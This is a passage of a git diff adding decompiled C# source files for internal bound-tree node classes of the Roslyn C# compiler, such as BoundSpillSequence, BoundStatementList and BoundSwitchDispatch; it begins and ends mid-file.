visitor.VisitSlicePatternRangePlaceholder(this); + } + + public BoundSlicePatternRangePlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSlicePatternRangePlaceholder boundSlicePatternRangePlaceholder = new BoundSlicePatternRangePlaceholder(Syntax, type, base.HasErrors); + boundSlicePatternRangePlaceholder.CopyAttributes(this); + return boundSlicePatternRangePlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternReceiverPlaceholder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternReceiverPlaceholder.cs new file mode 100644 index 0000000..859a182 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSlicePatternReceiverPlaceholder.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSlicePatternReceiverPlaceholder : BoundEarlyValuePlaceholderBase +{ + public sealed override bool IsEquivalentToThisReference => false; + + public new TypeSymbol Type => base.Type; + + public BoundSlicePatternReceiverPlaceholder(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.SlicePatternReceiverPlaceholder, syntax, type, hasErrors) + { + } + + public BoundSlicePatternReceiverPlaceholder(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.SlicePatternReceiverPlaceholder, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSlicePatternReceiverPlaceholder(this); + } + + public BoundSlicePatternReceiverPlaceholder Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSlicePatternReceiverPlaceholder boundSlicePatternReceiverPlaceholder = new BoundSlicePatternReceiverPlaceholder(Syntax, type, base.HasErrors); + boundSlicePatternReceiverPlaceholder.CopyAttributes(this); + return boundSlicePatternReceiverPlaceholder; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSourceDocumentIndex.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSourceDocumentIndex.cs new file mode 100644 index 0000000..1fbe6c7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSourceDocumentIndex.cs @@ -0,0 +1,41 @@ +using System.Diagnostics; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSourceDocumentIndex : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public DebugSourceDocument Document { get; } + + public BoundSourceDocumentIndex(SyntaxNode syntax, DebugSourceDocument document, TypeSymbol type, bool hasErrors) + : base(BoundKind.SourceDocumentIndex, syntax, type, hasErrors) + { + Document = document; + } + + public BoundSourceDocumentIndex(SyntaxNode syntax, DebugSourceDocument document, TypeSymbol type) + : base(BoundKind.SourceDocumentIndex, syntax, type) + { + Document = document; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSourceDocumentIndex(this); + } + + public BoundSourceDocumentIndex Update(DebugSourceDocument document, TypeSymbol type) + { + if (document != Document || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSourceDocumentIndex boundSourceDocumentIndex = new BoundSourceDocumentIndex(Syntax, document, type, base.HasErrors); + boundSourceDocumentIndex.CopyAttributes(this); + return boundSourceDocumentIndex; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSpillSequence.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSpillSequence.cs new file mode 100644 index 0000000..b97d0d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSpillSequence.cs @@ -0,0 +1,52 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSpillSequence : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public ImmutableArray Locals { get; } + + public ImmutableArray SideEffects { get; } + + public BoundExpression Value { get; } + + public BoundSpillSequence(SyntaxNode syntax, ImmutableArray locals, ImmutableArray sideEffects, BoundExpression value, TypeSymbol type, bool hasErrors = false) + : this(syntax, locals, MakeStatements(sideEffects), value, type, hasErrors) + { + } + + private static ImmutableArray MakeStatements(ImmutableArray expressions) + { + return ImmutableArrayExtensions.SelectAsArray(expressions, (Func)((BoundExpression expression) => new BoundExpressionStatement(expression.Syntax, expression, expression.HasErrors))); + } + + public BoundSpillSequence(SyntaxNode syntax, ImmutableArray locals, ImmutableArray sideEffects, BoundExpression value, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.SpillSequence, syntax, type, hasErrors || sideEffects.HasErrors() || value.HasErrors()) + { + Locals = locals; + SideEffects = sideEffects; + Value = value; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSpillSequence(this); + } + + public BoundSpillSequence Update(ImmutableArray locals, ImmutableArray sideEffects, BoundExpression value, TypeSymbol type) + { + if (locals != Locals || sideEffects != SideEffects || value != Value || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundSpillSequence boundSpillSequence = new BoundSpillSequence(Syntax, locals, sideEffects, value, type, base.HasErrors); + boundSpillSequence.CopyAttributes(this); + return boundSpillSequence; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreation.cs new file mode 100644 index 0000000..d484afe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreation.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundStackAllocArrayCreation : BoundStackAllocArrayCreationBase +{ + protected override ImmutableArray Children => StaticCast.From(BoundStackAllocArrayCreationBase.GetChildInitializers(base.InitializerOpt).Insert(0, base.Count)); + + public override object Display + { + get + { + if ((object)base.Type != null) + { + return base.Display; + } + return (FormattableString)$"stackalloc {base.ElementType}[{(base.Count.WasCompilerGenerated ? null : ((object)base.Count.Syntax).ToString())}]"; + } + } + + public BoundStackAllocArrayCreation(SyntaxNode syntax, TypeSymbol elementType, BoundExpression count, BoundArrayInitialization? initializerOpt, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.StackAllocArrayCreation, syntax, elementType, count, initializerOpt, type, hasErrors || count.HasErrors() || initializerOpt.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStackAllocArrayCreation(this); + } + + public BoundStackAllocArrayCreation Update(TypeSymbol elementType, BoundExpression count, BoundArrayInitialization? initializerOpt, TypeSymbol? type) + { + if (!TypeSymbol.Equals(elementType, base.ElementType, (TypeCompareKind)0) || count != base.Count || initializerOpt != base.InitializerOpt || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundStackAllocArrayCreation boundStackAllocArrayCreation = new BoundStackAllocArrayCreation(Syntax, elementType, count, initializerOpt, type, base.HasErrors); + boundStackAllocArrayCreation.CopyAttributes(this); + return boundStackAllocArrayCreation; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreationBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreationBase.cs new file mode 100644 index 0000000..5e1a2db --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStackAllocArrayCreationBase.cs @@ -0,0 +1,26 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundStackAllocArrayCreationBase : BoundExpression +{ + public TypeSymbol ElementType { get; } + + public BoundExpression Count { get; } + + public BoundArrayInitialization? InitializerOpt { get; } + + internal static ImmutableArray GetChildInitializers(BoundArrayInitialization? arrayInitializer) + { + return arrayInitializer?.Initializers ?? ImmutableArray.Empty; + } + + protected BoundStackAllocArrayCreationBase(BoundKind kind, SyntaxNode syntax, TypeSymbol elementType, BoundExpression count, BoundArrayInitialization? initializerOpt, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + ElementType = elementType; + Count = count; + InitializerOpt = initializerOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineInstanceId.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineInstanceId.cs new file mode 100644 index 0000000..e36def8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineInstanceId.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundStateMachineInstanceId : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundStateMachineInstanceId(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.StateMachineInstanceId, syntax, type, hasErrors) + { + } + + public BoundStateMachineInstanceId(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.StateMachineInstanceId, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStateMachineInstanceId(this); + } + + public BoundStateMachineInstanceId Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundStateMachineInstanceId boundStateMachineInstanceId = new BoundStateMachineInstanceId(Syntax, type, base.HasErrors); + boundStateMachineInstanceId.CopyAttributes(this); + return boundStateMachineInstanceId; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineScope.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineScope.cs new file mode 100644 index 0000000..41e9ad2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStateMachineScope.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundStateMachineScope : BoundStatement +{ + public ImmutableArray Fields { get; } + + public BoundStatement Statement { get; } + + public BoundStateMachineScope(SyntaxNode syntax, ImmutableArray fields, BoundStatement statement, bool hasErrors = false) + : base(BoundKind.StateMachineScope, syntax, hasErrors || statement.HasErrors()) + { + Fields = fields; + Statement = statement; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStateMachineScope(this); + } + + public BoundStateMachineScope Update(ImmutableArray fields, BoundStatement statement) + { + if (fields != Fields || statement != Statement) + { + BoundStateMachineScope boundStateMachineScope = new BoundStateMachineScope(Syntax, fields, statement, base.HasErrors); + boundStateMachineScope.CopyAttributes(this); + return boundStateMachineScope; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatement.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatement.cs new file mode 100644 index 0000000..d5a5177 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatement.cs @@ -0,0 +1,14 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundStatement : BoundNode +{ + protected BoundStatement(BoundKind kind, SyntaxNode syntax, bool hasErrors) + : base(kind, syntax, hasErrors) + { + } + + protected BoundStatement(BoundKind kind, SyntaxNode syntax) + : base(kind, syntax) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementExtensions.cs new file mode 100644 index 0000000..18f3e43 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementExtensions.cs @@ -0,0 +1,44 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class BoundStatementExtensions +{ + [Conditional("DEBUG")] + internal static void AssertIsLabeledStatement(this BoundStatement node) + { + BoundKind kind = node.Kind; + if (kind != BoundKind.LabelStatement && kind != BoundKind.LabeledStatement && kind != BoundKind.SwitchSection) + { + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + } + } + + [Conditional("DEBUG")] + internal static void AssertIsLabeledStatementWithLabel(this BoundStatement node, LabelSymbol label) + { + switch (node.Kind) + { + case BoundKind.SwitchSection: + { + ImmutableArray.Enumerator enumerator = ((BoundSwitchSection)node).SwitchLabels.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Label == label) + { + return; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/BoundStatementExtensions.cs", 50); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)node.Kind); + case BoundKind.LabelStatement: + case BoundKind.LabeledStatement: + break; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementList.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementList.cs new file mode 100644 index 0000000..c32652d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStatementList.cs @@ -0,0 +1,73 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class BoundStatementList : BoundStatement +{ + protected override ImmutableArray Children + { + get + { + if (base.Kind != BoundKind.StatementList && base.Kind != BoundKind.Scope) + { + return ImmutableArray.Empty; + } + return StaticCast.From(Statements); + } + } + + public ImmutableArray Statements { get; } + + public static BoundStatementList Synthesized(SyntaxNode syntax, params BoundStatement[] statements) + { + return Synthesized(syntax, hasErrors: false, ImmutableArrayExtensions.AsImmutableOrNull(statements)); + } + + public static BoundStatementList Synthesized(SyntaxNode syntax, bool hasErrors, params BoundStatement[] statements) + { + return Synthesized(syntax, hasErrors, ImmutableArrayExtensions.AsImmutableOrNull(statements)); + } + + public static BoundStatementList Synthesized(SyntaxNode syntax, ImmutableArray statements) + { + return Synthesized(syntax, hasErrors: false, statements); + } + + public static BoundStatementList Synthesized(SyntaxNode syntax, bool hasErrors, ImmutableArray statements) + { + return new BoundStatementList(syntax, statements, hasErrors) + { + WasCompilerGenerated = true + }; + } + + protected BoundStatementList(BoundKind kind, SyntaxNode syntax, ImmutableArray statements, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + Statements = statements; + } + + public BoundStatementList(SyntaxNode syntax, ImmutableArray statements, bool hasErrors = false) + : base(BoundKind.StatementList, syntax, hasErrors || statements.HasErrors()) + { + Statements = statements; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStatementList(this); + } + + public BoundStatementList Update(ImmutableArray statements) + { + if (statements != Statements) + { + BoundStatementList boundStatementList = new BoundStatementList(Syntax, statements, base.HasErrors); + boundStatementList.CopyAttributes(this); + return boundStatementList; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStepThroughSequencePoint.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStepThroughSequencePoint.cs new file mode 100644 index 0000000..6684785 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStepThroughSequencePoint.cs @@ -0,0 +1,45 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundStepThroughSequencePoint : BoundStatement +{ + public TextSpan Span { get; } + + public BoundStepThroughSequencePoint(SyntaxNode syntax, TextSpan span, bool hasErrors) + : base(BoundKind.StepThroughSequencePoint, syntax, hasErrors) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + Span = span; + } + + public BoundStepThroughSequencePoint(SyntaxNode syntax, TextSpan span) + : base(BoundKind.StepThroughSequencePoint, syntax) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Span = span; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStepThroughSequencePoint(this); + } + + public BoundStepThroughSequencePoint Update(TextSpan span) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (span != Span) + { + BoundStepThroughSequencePoint boundStepThroughSequencePoint = new BoundStepThroughSequencePoint(Syntax, span, base.HasErrors); + boundStepThroughSequencePoint.CopyAttributes(this); + return boundStepThroughSequencePoint; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStringInsert.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStringInsert.cs new file mode 100644 index 0000000..05861aa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundStringInsert.cs @@ -0,0 +1,43 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundStringInsert : BoundExpression +{ + public new TypeSymbol? Type => base.Type; + + public BoundExpression Value { get; } + + public BoundExpression? Alignment { get; } + + public BoundLiteral? Format { get; } + + public bool IsInterpolatedStringHandlerAppendCall { get; } + + public BoundStringInsert(SyntaxNode syntax, BoundExpression value, BoundExpression? alignment, BoundLiteral? format, bool isInterpolatedStringHandlerAppendCall, bool hasErrors = false) + : base(BoundKind.StringInsert, syntax, null, hasErrors || value.HasErrors() || alignment.HasErrors() || format.HasErrors()) + { + Value = value; + Alignment = alignment; + Format = format; + IsInterpolatedStringHandlerAppendCall = isInterpolatedStringHandlerAppendCall; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitStringInsert(this); + } + + public BoundStringInsert Update(BoundExpression value, BoundExpression? alignment, BoundLiteral? format, bool isInterpolatedStringHandlerAppendCall) + { + if (value != Value || alignment != Alignment || format != Format || isInterpolatedStringHandlerAppendCall != IsInterpolatedStringHandlerAppendCall) + { + BoundStringInsert boundStringInsert = new BoundStringInsert(Syntax, value, alignment, format, isInterpolatedStringHandlerAppendCall, base.HasErrors); + boundStringInsert.CopyAttributes(this); + return boundStringInsert; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSubpattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSubpattern.cs new file mode 100644 index 0000000..f958c0e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSubpattern.cs @@ -0,0 +1,12 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundSubpattern : BoundNode +{ + public BoundPattern Pattern { get; } + + protected BoundSubpattern(BoundKind kind, SyntaxNode syntax, BoundPattern pattern, bool hasErrors = false) + : base(kind, syntax, hasErrors) + { + Pattern = pattern; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchDispatch.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchDispatch.cs new file mode 100644 index 0000000..919dbbb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchDispatch.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSwitchDispatch : BoundStatement +{ + public BoundExpression Expression { get; } + + public ImmutableArray<(ConstantValue value, LabelSymbol label)> Cases { get; } + + public LabelSymbol DefaultLabel { get; } + + public LengthBasedStringSwitchData? LengthBasedStringSwitchDataOpt { get; } + + public BoundSwitchDispatch(SyntaxNode syntax, BoundExpression expression, ImmutableArray<(ConstantValue value, LabelSymbol label)> cases, LabelSymbol defaultLabel, LengthBasedStringSwitchData? lengthBasedStringSwitchDataOpt, bool hasErrors = false) + : base(BoundKind.SwitchDispatch, syntax, hasErrors || expression.HasErrors()) + { + Expression = expression; + Cases = cases; + DefaultLabel = defaultLabel; + LengthBasedStringSwitchDataOpt = lengthBasedStringSwitchDataOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSwitchDispatch(this); + } + + public BoundSwitchDispatch Update(BoundExpression expression, ImmutableArray<(ConstantValue value, LabelSymbol label)> cases, LabelSymbol defaultLabel, LengthBasedStringSwitchData? lengthBasedStringSwitchDataOpt) + { + if (expression != Expression || cases != Cases || !SymbolEqualityComparer.ConsiderEverything.Equals(defaultLabel, DefaultLabel) || lengthBasedStringSwitchDataOpt != LengthBasedStringSwitchDataOpt) + { + BoundSwitchDispatch boundSwitchDispatch = new BoundSwitchDispatch(Syntax, expression, cases, defaultLabel, lengthBasedStringSwitchDataOpt, base.HasErrors); + boundSwitchDispatch.CopyAttributes(this); + return boundSwitchDispatch; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpression.cs new file mode 100644 index 0000000..dde93ca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpression.cs @@ -0,0 +1,38 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundSwitchExpression : BoundExpression +{ + public BoundExpression Expression { get; } + + public ImmutableArray SwitchArms { get; } + + public BoundDecisionDag ReachabilityDecisionDag { get; } + + public LabelSymbol? DefaultLabel { get; } + + public bool ReportedNotExhaustive { get; } + + public BoundDecisionDag GetDecisionDagForLowering(CSharpCompilation compilation, out LabelSymbol? defaultLabel) + { + defaultLabel = DefaultLabel; + BoundDecisionDag boundDecisionDag = ReachabilityDecisionDag; + if (boundDecisionDag.ContainsAnySynthesizedNodes()) + { + boundDecisionDag = DecisionDagBuilder.CreateDecisionDagForSwitchExpression(compilation, Syntax, Expression, SwitchArms, defaultLabel ?? (defaultLabel = new GeneratedLabelSymbol("default")), BindingDiagnosticBag.Discarded, forLowering: true); + } + return boundDecisionDag; + } + + protected BoundSwitchExpression(BoundKind kind, SyntaxNode syntax, BoundExpression expression, ImmutableArray switchArms, BoundDecisionDag reachabilityDecisionDag, LabelSymbol? defaultLabel, bool reportedNotExhaustive, TypeSymbol? type, bool hasErrors = false) + : base(kind, syntax, type, hasErrors) + { + Expression = expression; + SwitchArms = switchArms; + ReachabilityDecisionDag = reachabilityDecisionDag; + DefaultLabel = defaultLabel; + ReportedNotExhaustive = reportedNotExhaustive; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpressionArm.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpressionArm.cs new file mode 100644 index 0000000..0640f03 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchExpressionArm.cs @@ -0,0 +1,45 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSwitchExpressionArm : BoundNode +{ + public ImmutableArray Locals { get; } + + public BoundPattern Pattern { get; } + + public BoundExpression? WhenClause { get; } + + public BoundExpression Value { get; } + + public LabelSymbol Label { get; } + + public BoundSwitchExpressionArm(SyntaxNode syntax, ImmutableArray locals, BoundPattern pattern, BoundExpression? whenClause, BoundExpression value, LabelSymbol label, bool hasErrors = false) + : base(BoundKind.SwitchExpressionArm, syntax, hasErrors || pattern.HasErrors() || whenClause.HasErrors() || value.HasErrors()) + { + Locals = locals; + Pattern = pattern; + WhenClause = whenClause; + Value = value; + Label = label; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSwitchExpressionArm(this); + } + + public BoundSwitchExpressionArm Update(ImmutableArray locals, BoundPattern pattern, BoundExpression? whenClause, BoundExpression value, LabelSymbol label) + { + if (locals != Locals || pattern != Pattern || whenClause != WhenClause || value != Value || !SymbolEqualityComparer.ConsiderEverything.Equals(label, Label)) + { + BoundSwitchExpressionArm boundSwitchExpressionArm = new BoundSwitchExpressionArm(Syntax, locals, pattern, whenClause, value, label, base.HasErrors); + boundSwitchExpressionArm.CopyAttributes(this); + return boundSwitchExpressionArm; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchLabel.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchLabel.cs new file mode 100644 index 0000000..4bf425f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchLabel.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSwitchLabel : BoundNode +{ + public LabelSymbol Label { get; } + + public BoundPattern Pattern { get; } + + public BoundExpression? WhenClause { get; } + + public BoundSwitchLabel(SyntaxNode syntax, LabelSymbol label, BoundPattern pattern, BoundExpression? whenClause, bool hasErrors = false) + : base(BoundKind.SwitchLabel, syntax, hasErrors || pattern.HasErrors() || whenClause.HasErrors()) + { + Label = label; + Pattern = pattern; + WhenClause = whenClause; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSwitchLabel(this); + } + + public BoundSwitchLabel Update(LabelSymbol label, BoundPattern pattern, BoundExpression? whenClause) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(label, Label) || pattern != Pattern || whenClause != WhenClause) + { + BoundSwitchLabel boundSwitchLabel = new BoundSwitchLabel(Syntax, label, pattern, whenClause, base.HasErrors); + boundSwitchLabel.CopyAttributes(this); + return boundSwitchLabel; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchSection.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchSection.cs new file mode 100644 index 0000000..542599e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundSwitchSection.cs @@ -0,0 +1,36 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundSwitchSection : BoundStatementList +{ + public ImmutableArray Locals { get; } + + public ImmutableArray SwitchLabels { get; } + + public BoundSwitchSection(SyntaxNode syntax, ImmutableArray locals, ImmutableArray switchLabels, ImmutableArray statements, bool hasErrors = false) + : base(BoundKind.SwitchSection, syntax, statements, hasErrors || switchLabels.HasErrors() || statements.HasErrors()) + { + Locals = locals; + SwitchLabels = switchLabels; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitSwitchSection(this); + } + + public BoundSwitchSection Update(ImmutableArray locals, ImmutableArray switchLabels, ImmutableArray statements) + { + if (locals != Locals || switchLabels != SwitchLabels || statements != base.Statements) + { + BoundSwitchSection boundSwitchSection = 